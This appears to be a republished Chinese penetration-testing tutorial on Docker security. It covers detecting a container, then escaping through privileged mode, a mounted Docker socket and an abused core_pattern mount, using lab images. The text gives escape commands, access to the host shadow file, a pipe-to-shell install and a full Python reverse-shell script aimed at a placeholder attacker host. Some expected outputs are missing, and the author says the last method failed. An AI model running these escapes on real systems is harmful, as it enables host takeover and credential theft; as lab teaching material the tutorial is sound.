前言
1、Docker是干嘛的?
Docker 是一個(gè)開(kāi)放源代碼軟件,是一個(gè)開(kāi)放平臺(tái),用于開(kāi)發(fā)應(yīng)用、交付(shipping)應(yīng)用、運(yùn)行應(yīng)用。Docker允許用戶將基礎(chǔ)設(shè)施(Infrastructure)中的應(yīng)用單獨(dú)分割出來(lái),形成更小的顆粒(容器),從而提高交付軟件的速度。
Docker 容器與虛擬機(jī)類似,但二者在原理上不同,容器是將操作系統(tǒng)層虛擬化,虛擬機(jī)則是虛擬化硬件,因此容器更具有便攜性、高效地利用服務(wù)器。
2、Docker對(duì)于滲透測(cè)試影響?
3、Docker滲透測(cè)試點(diǎn)有那些?
4、前滲透-判斷在Docker中
沒(méi)有權(quán)限:端口掃描詳細(xì)信息,根據(jù)應(yīng)用對(duì)象表現(xiàn)
但是想通過(guò)端口掃描判斷對(duì)方是不是docker服務(wù)幾乎是不可能的(我沒(méi)遇到……)
拿到權(quán)限:
方式一:查詢cgroup信息
docker中:真實(shí)主機(jī)上:
方式二:檢查/.dockerenv文件
通過(guò)判斷根目錄下的 .dockerenv文件是否存在,可以簡(jiǎn)單的識(shí)別docker環(huán)境
docker中:真實(shí)主機(jī)上:
不過(guò)有一點(diǎn)需要注意的是,如果你獲取的shell權(quán)限過(guò)小的話(www-data、或是某一服務(wù)的用戶),根目錄下也是不存在.dockerenv文件的
方式三:檢查mount信息
利用mount查看掛載磁盤(pán)是否存在docker相關(guān)信息。
docker中:真實(shí)主機(jī)上:
方式四:查看硬盤(pán)信息
fdisk -l 容器輸出為空,非容器有內(nèi)容輸出。
docker中:真實(shí)主機(jī)上:
方式五:查看文件系統(tǒng)以及掛載點(diǎn)
df -h 檢查文件系統(tǒng)掛載的目錄,也能夠簡(jiǎn)單判斷是否為docker環(huán)境。
df -h | egrep '(overlay|aufs)'
docker中:
真實(shí)主機(jī)上:
參考:https://blog.csdn.net/qq_23936389/article/details/131467165
5、前滲透-鏡像中的應(yīng)用漏洞
正常web滲透測(cè)試
6、前滲透-鏡像中的默認(rèn)配置
7、后滲透-三種安全容器逃逸
-特權(quán)模式啟動(dòng)導(dǎo)致(不安全啟動(dòng) 適用于java jsp高權(quán)限無(wú)需提權(quán) 還要提權(quán)才能逃逸)
-危險(xiǎn)掛載啟動(dòng)導(dǎo)致(危險(xiǎn)啟動(dòng) 適用于java jsp高權(quán)限無(wú)需提權(quán) 還要提權(quán)才能逃逸)
-docker自身&系統(tǒng)漏洞(軟件漏洞和系統(tǒng)漏洞 都可用)
https://wiki.teamssix.com/CloudNative/
容器逃逸-特權(quán)模式
啟動(dòng)靶場(chǎng):docker run --rm --privileged=true -it alpine檢測(cè)環(huán)境:cat /proc/1/cgroup | grep -qi docker && echo “Is Docker” || echo “Not Docker”
判斷特權(quán):cat /proc/self/status | grep CapEff
如果是以特權(quán)模式啟動(dòng)的話,CapEff 對(duì)應(yīng)的掩碼值應(yīng)該為0000003fffffffff 或者是 0000001fffffffff
查看目錄:fdisk -l特權(quán)逃逸:mkdir /test && mount /dev/vda1 /test
判斷結(jié)果:嘗試訪問(wèn)宿主機(jī) shadow 文件,可以看到正常訪問(wèn)
容器逃逸-危險(xiǎn)掛載
1、掛載Docker Socket逃逸
啟動(dòng)靶場(chǎng):docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
進(jìn)入環(huán)境:docker exec -it with_docker_sock /bin/bash
檢測(cè)環(huán)境:ls -lah /var/run/docker.sock掛載逃逸:
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
在容器內(nèi)部創(chuàng)建一個(gè)新的容器,并將宿主機(jī)目錄掛載到新的容器內(nèi)部
docker run -it -v /:/host ubuntu /bin/bashchroot /host
2、掛載宿主機(jī)procfs逃逸
啟動(dòng)環(huán)境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
檢測(cè)環(huán)境:find / -name core_pattern找到當(dāng)前容器在宿主機(jī)下的絕對(duì)路徑
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
這就表示當(dāng)前絕對(duì)路徑為
/var/lib/docker/overlay2/5c86feb33aba7c5fc559bee1a7b47b1f8004e1f6f20db4b97d8efbfa4cc33a19/merged
創(chuàng)建一個(gè)反彈 Shell 的 py 腳本
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
給 Shell 賦予執(zhí)行權(quán)限
chmod 777 .x.py
寫(xiě)入反彈 shell 到目標(biāo)的 proc 目錄下
echo -e "|/var/lib/docker/overlay2/ad9b33531057ae1736388c0198e80e49de165b12d9d16bd81fd44022cff0e72f/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
在攻擊主機(jī)上開(kāi)啟一個(gè)監(jiān)聽(tīng),然后在容器里運(yùn)行一個(gè)可以崩潰的程序
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
EOF
gcc x.c -o t
./t
不過(guò)我這里嘗試了好幾次都沒(méi)有成功……
模擬真實(shí)場(chǎng)景:
1、高權(quán)限-Web入口到Docker逃逸(Java)
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
2、低權(quán)限-Web入口到Docker逃逸(PHP)文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-723073.html
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa
java大部分都是高權(quán)限,php需提權(quán)……文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-723073.html
到了這里,關(guān)于云上攻防-云原生篇&Docker安全&權(quán)限環(huán)境檢測(cè)&容器逃逸&特權(quán)模式&危險(xiǎn)掛載的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!